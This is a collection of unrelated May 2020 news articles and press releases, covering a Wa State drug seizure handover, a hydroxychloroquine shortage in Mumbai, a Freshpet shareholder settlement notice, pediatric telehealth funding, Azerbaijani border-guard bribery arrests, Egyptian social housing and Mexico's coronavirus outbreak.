About State Fund State Fund is California's leading provider of workers' compensation insurance. Not for profit and funded solely by premiums and investment income, we've supported California's entrepreneurial spirit and played a vital role in the state's economy for more than 100 years. By innovating in areas such as workplace safety and injured workers care, we're committed to serving California for the next 100 years as well. To learn more or get a quote, contact your broker or visit www.StateFundCA.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005452/en/

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Burma Wa State Hands Drug Suspect and Meth Bust to Myanmar Authorities

The United Wa State Army hands over drugs to Myanmars military on May 20. / Nyi Rang

Naypyitaw  The United Wa State Army (UWSA) on Wednesday handed over a drug trafficker it arrested along with 3.5 million methamphetamine pills in the south of the Wa self-administered zone.

The handover took place in Hui-au, in our controlled area of southern Wa State. We have also handed over other detainees to the government after previous arrests, UWSA external relations officer Nyi Rang told The Irrawaddy.

In response to a drug trafficking tipoff, a USWA battalion searched the Lwel Htwe mountain range about 5 km from the Thai border, he said.

The UWSA said it found around 40 suspected drug smugglers, who opened fire on the troops. After exchanging fire, one suspect was killed and another was detained alive, according to the UWSA.

The armed group said it seized around 3,510,000 meth pills.

We carried out an interrogation. The others fled and the case is not over so it is inappropriate to reveal the details but most of the suspects were from Myanmars territory, said Nyi Rang.

Myanmars military and police took part in the handover, said military spokesman Brigadier General Zaw Min Tun.

As it is an area held by an EAO [ethnic armed organization], we assisted the police. The police will open a case, he said.

In previous drug seizures on the Thai side of the border, the Thai authorities usually accuse the UWSA of producing narcotics and supplying dealers in Thailand, said ethnic affairs analyst U Maung Maung Soe.

To counter the accusation, he said, the UWSA has carried out anti-drug campaigns and handed alleged traffickers to Myanmars government.

In June 2017, as the UWSA incinerated seized drugs to mark the UNs International Day against Drug Abuse and Illicit Trafficking, the armed group claimed opium poppy fields had been eradicated from the southern area of Wa State bordering Thailand.

The southern part of Wa self-administered zone, often referred to as military region 171, houses five 2,000-strong brigades.

Narcotics analysts say the EAOs in Myanmar are involved in the drug trade.

On April 21, Janes Terrorism and Insurgency Monitor reported that Myanmars military intelligence identified the ethnic Kachin Kaungkha militia as the Arakan Army (AA)s main strategic partner in the lucrative production and trafficking of meth yaba tablets and crystal meth or ice.

The report said the Myanmar military or Tatmadaw has identified the narcotics trade centered on northeastern Shan State as the key generator of the tens of millions of dollars required to recruit, train and equip an insurgent army.

The report also said the militarys Northeastern Command had probably been aware of the militias involvement in the drug trade for years and almost certainly profited from the trade.

The AA denied the allegations in the report, saying it has no ties to any Peoples Militia Force set up and controlled by the Myanmar army and is not in any way connected to this militia group.

Most [drug producers] have ties to many of the EAOs in eastern Shan State. Drugs can be produced only under their protection, Brig-Gen Zaw Min Tun told The Irrawaddy.

The UN Office on Drugs and Crime (UNODC) said Myanmars anti-drug authorities made an unprecedented drug bust after a two-month operation near Loikan village in Shan State.

More than 3,700 liters of methylfentanyl, 17.5 tonnes of meth tablets and drug-making equipment were seized near Loikan in a joint police and military operation.

Translated from Burmese by Thet Ko Ko
The city is facing a shortage of hydroxychloroquine (HCQ), a drug used for prevention (prophylaxis) as well as treatment of Covid-19, according to medical experts at private hospitals and chemists. The scarcity is also affecting patients suffering from arthritis and lupus, as the medicine is used to treat the diseases.

While there is no medicine to treat Covid-19, the Indian Council of Medical Research (ICMR) has recommended HCQ as a preventative drug for healthcare workers. We dont have HCQ. When we get patients, we have to hunt for the drug to administer it. The government should ensure that private hospitals have adequate amount of HCQ for its patients, said Dr Deepak Baid, president of Association of Medical Consultant (AMC).

HCQ is a less toxic derivative of chloroquine, a drug used in treatment of malaria. With the rising demand and government buying bulk, arthritis and lupus patients are forced to do the rounds of pharmacies across Mumbai. I have medicines for three days. My daughter has been trying to procure the drug for four days, but cant find it. We need the medicine as it has anti-inflammatory properties and it provides relief, said a 57-year-old woman from Borivli who suffers from arthritis. Her family members even visited government hospitals in search of the drug.

With growing awareness about use of HCQ in treatment of Covid, people have been trying to stock up on it using fake prescriptions or through black markets. As the government has imposed restrictions on the sale of HCQ, people are getting desperate. Many chemists are selling it without bills, at a higher rate. Many suppliers have hoarded the drugs to increase the price, said Abhay Pandey, national president, All Food and Drug Licence Holder Foundation (AFDLHF).

The Food and Drugs Administration (FDA) held a meeting with the manufacturers of HCQ instructing them to increase the supply. On Thursday, we asked the manufacturers to increase the production, said JN Mantri, joint commissioner of Maharashtra FDA.
Technavio has been monitoring the laser marking equipment market and it is poised to grow by USD 795.04 million during 2020-2024, progressing at a CAGR of over 6% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200522005335/en/

Technavio has announced its latest market research report titled Global Laser Marking Equipment Market 2020-2024 (Photo: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. ABB Ltd., Amonics Ltd., Coherent Inc., FANUC Corp., IPG Photonics Corp., Jenoptik AG, MKS Instruments Inc., NKT Photonics AS, OMRON Corp., and TRUMPF GmbH Co. KG. are some of the major market participants. The rise in automation will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Rise in automation has been instrumental in driving the growth of the market.

Laser Marking Equipment Market 2020-2024: Segmentation

Laser Marking Equipment Market is segmented as below:

Product Fiber Laser Marking Equipment CO2 Laser Marking Equipment Others

Geography APAC Europe North America South America



To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43054

Laser Marking Equipment Market 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our laser marking equipment market report covers the following areas:

Laser Marking Equipment Market Size

Laser Marking Equipment Market Trends

Laser Marking Equipment Market Industry Analysis

This study identifies growing coding and marking applications in the packaging industry as one of the prime reasons driving the laser marking equipment market growth during the next few years.

Laser Marking Equipment Market 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the laser marking equipment market, including some of the vendors such as ABB Ltd., Amonics Ltd., Coherent Inc., FANUC Corp., IPG Photonics Corp., Jenoptik AG, MKS Instruments Inc., NKT Photonics AS, OMRON Corp., and TRUMPF GmbH Co. KG. Backed with competitive intelligence and benchmarking, our research reports on the laser marking equipment market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Laser Marking Equipment Market 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist laser marking equipment market growth during the next five years

Estimation of the laser marking equipment market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the laser marking equipment market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of laser marking equipment market vendors

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Value chain analysis

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 2024

Five Forces Analysis

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Product

Market segments

Comparison by Product

Fiber laser marking equipment Market size and forecast 2019-2024

CO2 laser marking equipment Market size and forecast 2019-2024

Others Market size and forecast 2019-2024

Market opportunity by Product

Customer Landscape

Overview

Geographic Landscape

Geographic segmentation

Geographic comparison

APAC Market size and forecast 2019-2024

Europe Market size and forecast 2019-2024

North America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Overview

Landscape disruption

Vendor Analysis

Vendors covered

Market positioning of vendors

ABB Ltd.

Amonics Ltd.

Coherent Inc.

FANUC Corp.

IPG Photonics Corp.

Jenoptik AG

MKS Instruments Inc.

NKT Photonics AS

OMRON Corp.

TRUMPF GmbH Co. KG

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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Ghoomketu movie review: Nawazuddin Siddiquis creaky comedy shows signs of age

Writing comedy is a serious business, Nawazuddin Siddiquis whimsically named hero Ghoomketu tells us in the eponymous film. Audience should laugh too. The trouble with Ghoomketu is it never uses its own sage advice. It spells out the obvious, and then goes and underlines it. After a while, it just feels like you are in the middle of an exposition dump and the walls are closing in.

(Read full story here)

Happy birthday Suhana Khan: Check out her 10 best pics with Shah Rukh Khan, Gauri, Aryan and AbRam

Shah Rukh Khans daughter and Bollywoods star-to-be, Suhana Khan turns 20 years old on Friday. To celebrate her big day, we are bringing you 10 awesome picture of her with her family. Suhana was born on May 22, 2000 and is the middle child and only daughter of Shah Rukh and his interior designer wife Gauri Khan. Suhana has an elder brother Aryan and a younger brother, AbRam.

(Read full story here)

Two more house helps at Boney Kapoors residence test positive for Covid-19

Two more members of filmmaker Boney Kapoors house staff have tested positive for the coronavirus. This is in addition to the one who was found positive for the deadly virus earlier this week. Oshiwara Police Station PI, Dayanand Bangar confirmed the news to Spotboye.com.

(Read full story here)

Mahabharat actor Satish Kaul appeals to industry for financial help: Im struggling for medicines, basic needs

Veteran Punjabi star Satish Kaul, who has acted in several Hindi films and shows including Mahabharat, says hes currently facing financial woes and the nation-wide lockdown has only made the situation worse for him. The actor, whose credits include working in over 300 Punjabi and Hindi films and played the role of Lord Indra in Mahabharat, said contrary to rumours, hes not in an old age home.

(Read full story here)

Kapil Sharma apologises to Kayastha community for hurting sentiments in an episode of The Kapil Sharma Show

Comedian Kapil Sharma has offered an apology to the Kayastha community. He expressed regret if their sentiments were hurt during an episode his show The Kapil Sharma Show.

(Read full story here)

Follow @htshowbiz for more

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SECAUCUS, N.J., May 22, 2020 (GLOBE NEWSWIRE) -- Freshpet, Inc. (Freshpet or the Company) today announced that it has agreed to settle the shareholder derivative litigation Meldon v. Freshpet, Inc. et al., which had been pending in the United States District Court for the District of New Jersey against the Company, as a nominal defendant, and certain of the Companys current and former directors and executive officers. The settlement is subject to Court approval. The Court has granted preliminary approval, pursuant to which the Company is issuing this release and making disclosure of the settlement to its shareholders in the attached Notice to Current Freshpet Stockholders (Notice). In connection with the proposed settlement, all of the defendants deny any liability and the Company has agreed to continue certain corporate governance practices and to adopt certain others. The full Notice is included as Exhibit 1 to this release below.



About Freshpet

Freshpets mission is to improve the lives of dogs and cats through the power of fresh, real food. Freshpet foods are blends of fresh meats, vegetables and fruits farmed locally and made at our Kitchens in Bethlehem PA. We thoughtfully prepare our foods using natural ingredients, cooking them in small batches at lower temperatures to preserve the natural goodness of the ingredients. Freshpet foods and treats are kept refrigerated from the moment they are made until they arrive at Freshpet Fridges in your local market.

Our foods are available in select mass, grocery (including online), natural food, club, and pet specialty retailers across the United States, Canada and Europe. From the care, we take to source our ingredients and make our food, to the moment it reaches your home, our integrity, transparency and social responsibility are the way we like to run our business. To learn more, visit www.freshpet.com .

Connect with Freshpet:

https://www.facebook.com/Freshpet

https://twitter.com/Freshpet

http://instagram.com/Freshpet

http://pinterest.com/Freshpet

https://en.wikipedia.org/wiki/Freshpet

https://www.youtube.com/user/freshpet400

Forward Looking Statements

Certain statements in this release constitute forward-looking statements. These statements are based on managements current opinions, expectations, beliefs, plans, objectives, assumptions or projections regarding future events or future results. These forward-looking statements are only predictions, not historical fact, and involve certain risks and uncertainties, as well as assumptions. Actual results or events could differ materially from those stated, anticipated or implied by such forward-looking statements. Such forward-looking statements are made only as of the date of this release. Freshpet undertakes no obligation to publicly update or revise any forward-looking statement because of new information, future events or otherwise, except as otherwise required by law. If we do update one or more forward-looking statements, no inference should be made that we will make additional updates with respect to those or other forward-looking statements.

CONTACT

ICR

Katie Turner

646-277-1228

katie.turner@icrinc.com

Exhibit 1

NOTICE TO CURRENT FRESHPET STOCKHOLDERS

On May 4, 2020, Freshpet, Inc. (Freshpet or the Company), in its capacity as a nominal defendant, entered into a Stipulation of Settlement (the Stipulation) in the abovecaptioned shareholder derivative action filed derivatively on behalf of Freshpet, in the United States District Court for the District of New Jersey (the Court), against certain current and former directors and officers of the Company and against the Company as a nominal defendant (the Derivative Action). The Stipulation and the settlement contemplated therein (the Settlement), subject to the approval of the Court, is intended by the Settling Parties1 to fully, finally, and forever compromise, resolve, discharge, and settle the Released Claims and to result in the complete dismissal of the Derivative Action with prejudice, upon the terms and subject to the conditions set forth in the Stipulation. In exchange for dismissing and releasing the Released Claims against the Defendants, the proposed Settlement requires the Company to adopt and continue certain corporate governance measures and procedures, as outlined in Exhibit A to the Stipulation. In addition, Defendants agree to pay, or cause to be paid, a Fee and Expense Award to Plaintiffs Counsel of two hundred ten thousand dollars ($210,000.00) and Service Award to the Plaintiffs of one thousand dollars ($1,000.00) to be paid from the Fee and Expense Award, subject to Court approval.

This notice is a summary only and does not describe all of the details of the Stipulation. For full details of the matters discussed in this summary, please see the Stipulation posted on the Investors section of Companys website, www.Freshpet.com , contact Plaintiffs Counsel at the address listed below, or inspect the Stipulation and its exhibits filed with the Clerk of the Court.

Summary

On May 18, 2020, the Court entered an order preliminarily approving the Stipulation and the Settlement contemplated therein, and providing for notice to be posted by an 8-K filed with the U.S. Securities and Exchange Commission, via press release and also, along with the Stipulation, on the Investors section of the Companys website, (the Preliminary Approval Order). The Preliminary Approval Order further provides that the Court will hold a hearing (the Settlement Hearing) on July 21, 2020 at 2:00 p.m. before the Honorable Madeline Cox Arleo in Courtroom 4A of the United States District Court for the District of New Jersey, Martin Luther King Building & U.S. Courthouse, 50 Walnut Street, Newark, NJ 07102, pursuant to Federal Rule of Civil Procedure 23.1, to among other things: (i) determine whether the proposed Settlement is fair, reasonable and adequate and in the best interests of the Company and its shareholders; (ii) consider any objections to the Settlement submitted in accordance with the Notice; (iii) determine whether a Judgment substantially in the form attached as Exhibit D to the Stipulation should be entered dismissing all claims in the Derivative Action with prejudice and releasing the Released Claims against the Released Parties; (iv) consider the agreed-to Fee and Expense Award to Plaintiffs Counsel of attorneys fees and the reimbursement of expenses; (v) consider the Service Award to Plaintiff, which will be funded from the Fee and Expense Award; and (vi) consider any other matters that may properly be brought before the Court in connection with the Settlement.

Any Freshpet Stockholder who wishes to object to the fairness, reasonableness, or adequacy of the Settlement as set forth in the Stipulation, or to the proposed award of attorneys fees and expenses, may file an objection. To object, a Stockholder must, no later than fourteen (14) days prior to the Settlement Hearing: (1) file with the Clerk of the Court and serve upon the below listed counsel a written objection to the Settlement setting forth: (a) the nature of the objection; (b) proof of ownership of Freshpet common stock through the date of the Settlement Hearing, including the number of shares of Freshpet common stock held and the date of purchase; (c) any and all documentation or evidence in support of such objection; and (d) the identities of any cases, by name, court, and docket number, in which the stockholder or his, her, or its attorney has objected to a settlement in the last three years; and (2) if a Current Freshpet Stockholder intends to appear and requests to be heard at the Settlement Hearing, such Stockholder must, in addition to the requirements of (1) above, file with the Clerk of the Court and serve on the below counsel: (a) a written notice of such Stockholders intention to appear at the Settlement Hearing; (b) a statement that indicates the basis for such appearance; (c) the identities of any witnesses the Stockholder intends to call at the Settlement Hearing and a statement as to the subjects of their testimony; and (d) any and all evidence that would be presented at the Settlement Hearing. Any objector who does not timely file and serve a notice of intention to appear in accordance with this paragraph shall not be permitted to appear at the Settlement Hearing, except for good cause shown.

The objector must file such objections and supporting documentation with the Clerks Office, U.S. District Court for the District of New Jersey, Martin Luther King Building & U.S. Courthouse, 50 Walnut Street, Newark, NJ 07102 not later than fourteen (14) days prior to the Settlement Hearing, and, by the same date, copies of all such papers must also be received by each of the following persons:

Counsel for Plaintiffs:

Michael J. Hynes

HYNES & HERNANDEZ, LLC

101 Lindenwood Drive, Suite 225

Malvern, PA 19355

Counsel for Defendants:

Jay A. Dubow, Esq.

PEPPER HAMILTON LLP

3000 Two Logan Square

Philadelphia, Pennsylvania 19103

An objector may file an objection on his, her or its own or through an attorney hired at his, her or its own expense. If an objector hires an attorney to represent him, her or it for the purposes of making such objection pursuant to this paragraph, the attorney must effect service of a notice of appearance on the counsel listed above and file such notice with the Court no later than fourteen (14) days before the Settlement Hearing. Any Freshpet stockholder who does not timely file and serve a written objection complying with the terms of this paragraph shall be deemed to have waived, and shall be foreclosed from raising, any objection to the Settlement, and any untimely objection shall be barred. Any submissions by the Settling Parties in opposition or response to objections shall be filed with the Court no later than seven (7) days before the Settlement Hearing.

Any objector who files and serves a timely, written objection in accordance with the instructions above and herein, may appear at the Settlement Hearing either in person or through counsel retained at the objectors expense. Objectors need not attend the Settlement Hearing, however, in order to have their objections considered by the Court.

If you are a current holder of Freshpet common stock and do not take steps to appear in this action and object to the proposed Settlement, you will be bound by the Judgment of the Court and will forever be barred from raising an objection to such settlement in this or any other action or proceeding, and from pursuing any of the Released Claims.

If you held Freshpet common stock as of May 4, 2020 and continue to hold such stock, you may have certain rights in connection with the proposed Settlement. You may obtain further information by contacting counsel for Plaintiffs at: Michael J. Hynes, Esq., Hynes & Hernandez, LLC, 101 Lindenwood Drive, Suite 225, Malvern, PA 19355, Telephone: (484) 875-3116, Email: mhynes@hh-lawfirm.com.





1 All capitalized terms used in this notice, unless otherwise defined herein, are defined as set forth in the Stipulation.
WASHINGTON - (May 21,2020) -- Children's National Hospital is establishing a regional pediatric telehealth consortium in response to coronavirus with $928,000 in funding awarded by the Federal Communications Commission's Wireline Competition Bureau. The funding, which is part of the FCC's COVID-19 Telehealth Program, enables the nationally-ranked pediatric hospital to expand its telehealth platform to support 15 healthcare sites in the D.C.-Maryland-Virginia region serving children and young adults, providing care to children with COVID-19 as well as those who are medically vulnerable and helping to protect healthcare workers as the pandemic threat continues.

The new telehealth consortium will encompass health care sites serving urban, suburban and rural communities across the District of Columbia, Maryland and the Commonwealth of Virginia.

The consortium initiative includes establishing the COVID-19 Telemedicine Command Center, which will be hosted by Children's National and staffed by a team of virtual and in-person providers and clinicians. The Command Center will provide 24/7 coordination of all telehealth activities across all consortium healthcare sites.

The FCC funds will be used for telehealth carts, tablets and other connected devices, the telehealth platform, telehealth equipment and innovative AI (augmented intelligence) to treat seriously ill COVID-19 pediatric patients, as well as patients up to 30 years old, and to continue to provide evaluations, diagnoses, and care to patients with acute or chronic health needs via telehealth. Funds will also support telehealth devices and data plans to provide care for underserved patients.

The expanded telehealth infrastructure is designed to support provider-to-patient pediatric care and provider-to-provider consultations through a connected "virtual hospital" model. It will be used for emergency room, NICU and inpatient care to provide access to specialized expertise and for outpatient care of COVID-19 patients.

The regional consortium model builds upon the well-established telehealth program at Children's National which employs the latest technology and encompasses 1,200 providers across a wide range of pediatric specialties.

The Children's National consortium initiative is led by Dr. David Wessel, executive vice president and chief medical officer, hospital and specialty services; Dr. Ricardo Munoz, division chief, cardiac critical care medicine, executive director, telehealth, and co-director, Children's National Heart Institute; and Dr. Shireen Atabaki, medical director, informatics, associate director, telehealth, and emergency medicine physician.

The FCC's COVID-19 Telehealth Program was authorized by the CARES Act and to date has approved funding for 132 health care providers in 33 states, plus Washington D.C., for a total of just over $50 million in funding.

###

About Children's National Hospital

Children's National Hospital, based in Washington, D.C., celebrates 150 years of pediatric care, research and commitment to community. Volunteers opened the hospital in 1870 with 12 beds to care for Civil War orphans. Today, 150 years stronger, it is the nation's No. 6 children's hospital. It is ranked No. 1 for newborn care for the third straight year and ranked in all specialties evaluated by "U.S. News & World Report." Children's National is transforming pediatric medicine for all children. In 2020, it will open the Children's National Research & Innovation Campus, the first in the nation dedicated to pediatric research. It has been designated twice as a Magnet hospital, demonstrating the highest standards of nursing and patient care delivery. This pediatric academic health system offers expert care through a convenient, community-based primary care network and specialty outpatient centers in the D.C., metropolitan area, including the Maryland and Northern Virginia suburbs. Children's National is home to the Children's National Research Institute and Sheikh Zayed Institute for Pediatric Surgical Innovation and is the nation's seventh-highest NIH-funded children's hospital. It is recognized for its expertise and innovation in pediatric care and as a strong voice for children through advocacy at the local, regional and national levels.
By Ayya Lmahamad

Six high-ranking officers of the Coastal Guard under the State Border Service have been detained on charges of bribery and abuse of power, press-service of the State Security Service reported on May 21.

As a result of the joint operational and investigative measures, it has been established that a group of high-ranking officers of the Coast Guard, abusing their power, received money as a bribe from numerous Azerbaijani citizens for creating conditions for fishing in the Caspian Sea, the report reads.

The group was led by Lieutenant General Afgan Nagiyev, who served as the deputy head of the State Border Service and the head of the Coast Guard.

The investigation revealed that a large amount of bribes that were collected each month, were handed over to Nagiyev, who returned a percentage of this money to other team members for distribution, statement said.

The investigation team has seized various records of the amount of money received by them as well as the money kept in separate currencies and other documents and material evidence relevant to the case.

By the decision of the Baku Court, all the members of the group were arrested under the Criminal Codes Articles 308.1 (abuse of power) and 311.3.1 (taking bribes by a group of persons in collusion).

Three civilians, who were assisting the group members in taking bribes, have also been arrested.

In addition, two employees of the Ministry of Emergency Situations were also arrested for taking bribes from fishermen and were charged under the relevant articles of the Criminal Code.

"At present, the investigation continues to identify the scope of suspects in this crime and bring them to justice," the report says.

Deputy head of the State Border Service of Azerbaijan, Lieutenant General Afgan Nagiyev was detained as a suspect in the case against some State Border Service officials on May 14.

Recently, the State Security Service launched special operation against a number of officials in the country. Thus, head of the Imishli district Vilyam Hajiyev and head of the Bilasuvar district Mahir Guliyev were arrested for four months on charges of embezzlement, abuse of power, and bribery. As well as, Deputy Minister of Culture Rafiq Bayramov and a number of other ministry officials were detained during the State Security Service's operation on May 8.

---

Follow us on Twitter @AzerNewsAz
22.05.2020 LISTEN

Legendary Ghanaian music producer Zapp Mallet has become the latest popular Ghanaian figure to express his opinion on highlife artiste Kidis sacking from Accra FM last week for reporting late for an interview.

According to Zapp Mallet, he doesnt blame Kidi for being late because he inherited lateness from the music industry.

Kidi made the headlines last week for the wrong reasons after a video of him being sacked from the studios of Accra FM for reporting late surfaced online. In the video, Accra FM radio host Nana Romeo was captured criticizing Kidi for being 25 minutes late for a scheduled interview.

He later canceled the interview and sacked Kidi from his studio. The incident led to a huge uproar on social media as a host of Ghanaian celebrities slammed the radio presenter for embarrassing the Enjoyment hitmaker.

He later canceled the interview and sacked Kidi from his studio. The incident led to a huge uproar on social media as a host of Ghanaian celebrities slammed the radio presenter for embarrassing the Enjoyment hitmaker.

He also added that the incident will serve as a lesson to people.

Its unfortunate but its good it happened-because it will keep people on their toes as to how to do things. So I think in a certain light we need to be professional in the way we do our things and time is one of themso time and discipline. he concluded.

Watch the video below;
Last month, the presidency announced that 250,000 social housing units were being constructed as part of the countrys social housing programme targeting limited-income groups and those deserving subsidies.



Since the launch of the programme in 2015, 600,000 such units have been built. According to May Abdel-Hamid, CEO of the Social Housing and Mortgage Finance Fund, the initial plan of the fund was to construct 120,000 social housing units before presidential orders raised the figure to 250,000 units nationwide.



The fund has asked governors to provide data on land suitable for the implementation of the project in each governorate, in addition to information on infrastructure. It stipulates that the land be state-owned, be located in urban areas, and be no less than 1,000 metres square in area.



A meeting between the minister of housing and the New Urban Communities Authority has been held to discuss infrastructure and the extra land to be added to the projects based upon the presidential order.



The groups targeted by the social housing programme are determined by annual cabinet decisions. The latest of these has decreed that units may be allocated to married couples whose joint income is LE5,700, with allocations also being made for single people on incomes of LE4,200 and those on the minimum wage of LE1,300.



Five per cent of units are allocated to people with special needs, and priority is given to widows and divorced women.



Building the units is regulated by the social housing law of 2014, explained Abdel-Hamid, who added that increasing the number of units would not change the procedures for applicants.



Advertisements are published to receive applications for units in certain areas, and units are only built in areas where they are needed.



The social housing programme was launched five years ago with the aim of providing the less-privileged with one million housing units. Ten advertisements were placed to help sell the units, including one that received 300,000 applications and another that received 230,000.



305,000 families have been housed in these 90 metre square apartments with the help of mortgages estimated at LE30.24 billion. Overall financial subsidies are worth LE4.9 billion.



The Social Housing and Mortgage Finance Fund is now handling 665,000 residential units, including 427,000 finished units, 193,00 units being built, and 35,000 available to contractors.



The last category cost LE270,000 per unit, each subsidised to the tune of LE100,000, Abdel-Hamid said.



The fund will be publishing advertisements for still unsold units in previous social housing projects, to be followed by others for new units at prices increased by LE100,000.



Abdel-Hamid expects the 250,000 new units will be offered through advertisements, with the units delivered within three years of publication. Prices may rise by 10 per cent if the cost of building materials increases.



The social housing programme offers housing units at subsidised prices and does not include the value of the land in the cost of the unit, said Mohamed Abu Samra, a former expert with the United National Human Settlements Programme (UN-Habitat).



However, factoring out the value of the land is worrying because it drives officials to allocate land on the outskirts of cities, leaving high-value land for other more profitable projects, he said.



Living on the outskirts of cities can be an added burden to peoples incomes, since extra money must be found for transportation and services concentrated in the centres of urban areas, he added.



Islam Mahmoud, who has moved into a social housing unit in the Hadayek October district, said his house was 40km away from his work. I moved into the new house because the monthly instalments were far less than the house I was previously renting in Giza where more services were available, he said.



Its a complicated question: either you can settle for a rented house in an area with a high level of services or you can buy your own apartment with moderate mortgage payments and accept that there will be fewer services, Mahmoud said.



In March, the World Bank announced a financial package for Egypt worth $500 million to help people to buy subsidised housing units, enhance the work of the Social Housing and Mortgage Finance Fund, and help to support policies and programmes in the social housing sector.



The Social Housing and Mortgage Finance Fund now has a total of $1.3 billion to support the housing needs of limited-income people.

*A version of this article appears in print in the 21 May, 2020 edition of Al-Ahram Weekly

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Manchester-by-the-Sea town officials have issued new guidelines for Singing Beach, limiting it to residents only until further notice.

Residents must purchase passes at the beach for $20 as well as show proof of residency. Swimming is still not permitted, and people are only allowed to walk and run for exercise. This will be monitored by the Manchester Police Department and the community parks and recreation staff.

Black and White Beach is also opening but only to residents at this time and a face covering is required when appropriate physical distancing of at least 6 feet is not possible.

Phase one of Gov. Charlie Bakers four-part reopening plan is to see the beaches in Massachusetts reopen on Memorial Day, Monday, May 25. However, restrictions on visitors have been introduced depending on the municipality and beach.

Several considerations contributed to the towns decision; variations of beach size due to the tide, safe traffic flow with only one entry point and the ability of beachgoers to remain 6 feet apart.

Historically, the beach, which is located 30 miles north of Boston, has been a popular summer destination due to its proximity to the Commuter Rail station.

It is our hope to welcome the general public back to this beautiful beach in the near future, said Cheryl Marshall, Manchester-by-the-Sea parks and recreation director. But at this time we are taking the essential safety precautions necessary to keep the beach and staff from being overwhelmed and that means reducing beach capacity to residents only.

Masconomo Park, Reed Park and Tucks Point have been reopened as part of phase one of the states reopening plan, but for walkers only. People are asked not to picnic, sunbath, or involve themselves in sporting activities.

Town Hall boat ramp and dock are reserved for dinghy access, pick-up and drop-off of passengers and gear only. No vessels are to be tied to the dock for any purpose other than the immediate board.

Electronic signage will be used on lower Beach Street to notify residents of the Singing Beach status daily and will be updated as needed. The sign will say either Beach Open to Residents for Walking, Beach Full or Beach Closed.

The reopening plans four phases are named Start," Cautious, Vigilant and "The New Normal, respectively.

In the start phase, limited businesses will be able to reopen with severe restrictions. In the second phase, additional industries, previously designated as non-essential, are expected to resume operations with restrictions and capacity limits.

The vigilant phase will see more businesses begin to reopen with guidance, and in the fourth phase, the development of a vaccine or a recommended treatment for the viral respiratory infection is expected to allow for the start of a new normal.

If the state sees a rise in cases of the illness as well as hospitalizations, the commonwealth could return to an earlier phase of the reopening plan and issue new business restrictions.

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Shiromani Akali Dal (SAD) president Sukhbir Singh Badal demanded a CBI probe into the alleged multi-thousand crore scam in Centre-sent food material as relief to Punjab. He said that a large amount of wheat and pulses sent by Centre for 1.4 crore Punjabis found its way to the open market via Congress leaders.

Addressing the media after visiting Malout, Balluana, Abohar, Fazilka, Jalalabad, Guruharsahai and Ferozepur where he flagged off wheat trucks carrying 5,000 quintal wheat to Darbar Sahib in Amritsar, the Sukhbir said he had brought the issue of diversion of central food stock to the notice of Congress leaders in Punjab and PM Modi.

Terming this a crime against humanity, Sukhbir said it is shocking that migrants slept hungry in Punjab, while the state allowed diversion of wheat and pulses to Congress leaders who in turn sold the stock in open markets. He demanded a central-level inquiry into the scam. The magnitude of the fraud is mind-boggling. Congress leaders are responsible for this crime should be brought to book, he said.

He also highlighted how liquor mafia, in league with Congress, has looted Rs 5,600 crore from the state exchequer. The state excise department had suffered huge loss because government allowed distilleries run by Congress leaders and their known to take out truckloads of liquor without paying any excise duty, he said.

He said Congress legislators of Ferozepur were openly indulging in illegal mining and had been given a free rein by the Congress government. He said the legislators were also patronising the drug mafia.
By Carlos Carrillo

MEXICO CITY, May 22 (Reuters) - Mexico's government said on Friday it had the coronavirus outbreak under control even as the country becomes one of the global hotspots for the pandemic.

The health ministry had forecast the outbreak could peak two weeks ago, but Mexico has posted its highest totals of deaths and infections in the past two days, trailing only the United States and Brazil for fatalities on Wednesday and Thursday.

"My grandparents were admitted the day before yesterday and they haven't given us any information," said 24-year-old Tania Gonzalez, as she stood outside a public hospital in Mexico City.

"We're worried. We don't know if they're dead, alive, if they're being treated, what sort of state they're in."

Under pressure from politicians, officials, and the business lobby in Washington, Mexico has already started to reopen parts of the economy.

However, some politicians and public health experts fear that may be premature. In the past seven days, Mexico registered 27% of its total 6,510 confirmed deaths from the coronavirus and 24% of the 59,567 cases. It reported its first case in February.

On Friday, President Andres Manuel Lopez Obrador said the country was coping.

"The key thing is that in spite of the suffering and the loss of human life, we've avoided a deluge," the president told a news conference. "We can rule that out."

Mexico has so far avoided the kind of devastating mass outbreaks seen in northern Italy or New York. But deaths and new infections in Latin America's second-largest country are still rising.

Mexico has not launched a widespread testing regime or imposed the kind of strict lockdown used in parts of neighboring Central America.

"It's not just that the risk of infection is high but what's being called a return to the new normal could make new cases increase exponentially... leading to more loss of life," said Trizia Herrera, an associate at public policy consulting firm EPLOC.

Story continues

"It seems premature that President Lopez Obrador is talking about ruling out a deluge in Mexico, as the epidemic is still growing."

